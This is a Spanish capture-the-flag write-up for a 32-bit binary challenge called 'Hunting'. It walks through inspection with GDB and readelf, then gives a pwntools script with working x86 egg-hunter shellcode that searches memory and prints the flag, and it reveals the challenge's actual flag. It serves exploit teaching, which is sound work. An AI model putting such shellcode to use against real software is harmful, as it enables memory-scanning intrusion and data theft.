Hunting
4 minutos de lectura
Se nos proporciona un binario de 32 bits llamado hunting
:
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Exploración
El reto dice que el objetivo es leer la flag, no obtener una shell. Además, el nombre del reto (“Hunting”) recuerda a una técnica conocida como Egg Hunter. Esta se utiliza para encontrar un payload en memoria al tener ejecución de código, y la manera de asegurar que el payload se encuentra es usando un egg (4 bytes).
Si ejecutamos el binario, solamente tenemos una interfaz para introducir datos, y luego sale:
$ ./hunting
asdf
zsh: segmentation fault (core dumped) ./hunting
Realizar ingeniería inversa al binario no es muy útil. Lo único que tenemos que considerar es que la flag se posiciona en alguna dirección de memoria en tiempo de ejecución, y podemos introducir shellcode que será ejecutado.
Podemos tratar de ver la cadena de caracteres con GDB:
$ gdb -q hunting
Reading symbols from hunting...
(No debugging symbols found in hunting)
gef➤ run
Starting program: ./hunting
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ grep HTB{
[+] Searching 'HTB{' in memory
[+] In '/dev/zero (deleted)'(0x660c0000-0x660c1000), permission=rw-
0x660c0000 - 0x660c0024 → "HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
Esta dirección de la flag será diferente en cada ejecución del programa. Podemos enumerar las funciones usadas por el binario:
$ readelf -s hunting
Symbol table '.dynsym' contains 20 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab
3: 00000000 0 FUNC GLOBAL DEFAULT UND signal@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
5: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.1.3 (3)
6: 00000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.0 (2)
8: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
9: 00000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0 (2)
10: 00000000 0 FUNC GLOBAL DEFAULT UND open@GLIBC_2.0 (2)
11: 00000000 0 FUNC GLOBAL DEFAULT UND srand@GLIBC_2.0 (2)
12: 00000000 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.0 (2)
13: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
14: 00000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.0 (2)
15: 00000000 0 FUNC GLOBAL DEFAULT UND prctl@GLIBC_2.0 (2)
16: 00000000 0 FUNC GLOBAL DEFAULT UND rand@GLIBC_2.0 (2)
17: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
18: 00000000 0 FUNC GLOBAL DEFAULT UND close@GLIBC_2.0 (2)
19: 00002004 4 OBJECT GLOBAL DEFAULT 18 _IO_stdin_used
srand
y rand
podrían ser usadas para determinar una dirección aleatoria para poner la flag, y luego mmap
se usa para configurar el espacio para el shellcode y los permisos para que se pueda ejecutar.
Egg Hunter
Aquí se encuentra una buena explicación de la técnica de Egg Hunter en sistemas Linux x86: infosecwriteups.com. Al final, adapté un poco el código ensamblador del Egg Hunter y añadí una llamada sys_write
al final para mostrar la flag:
def main():
egg = b'HTB{'
egghunter = asm(f'''
_start:
mov ebx, {u32(egg)} # Egg
mov edx, 0x5fffffff # Start searching from address 0x5fffffff
xor ecx, ecx
mul ecx
page_alignment:
or dx, 0xfff
address_inspection:
inc edx
pushad # push all registers
lea ebx, [edx+4]
mov al, 0x21
int 0x80 # Call access()
cmp al, 0xf2 # If all contains 0xf2 (EFAULT) => Current memory page is not accessible
popad # pop all registers
je page_alignment
check_egg:
cmp [edx], ebx # Compare [edx] with Egg
jne address_inspection
display_the_flag:
push 4
pop eax # $eax = 4 => write()
push 1
pop ebx # $ebx = 1 => stdout
mov ecx, edx # $ecx => Pointer to the flag
push 60
pop edx # $edx = 60 => Flag length
int 0x80 # Call write()
jmp _start
''')
p = get_process()
p.sendline(egghunter)
log.success(p.recv().strip(b'\0').decode())
p.close()
Flag
Funciona en local:
$ python3 solve.py
[*] './hunting'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './hunting': pid 1067847
[+] HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
[*] Stopped process './hunting' (pid 1067847)
Y también en remoto:
$ python3 solve.py 159.65.83.93:31172
[*] './hunting'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 159.65.83.93 on port 31172: Done
[+] HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}
[*] Closed connection to 159.65.83.93 port 31172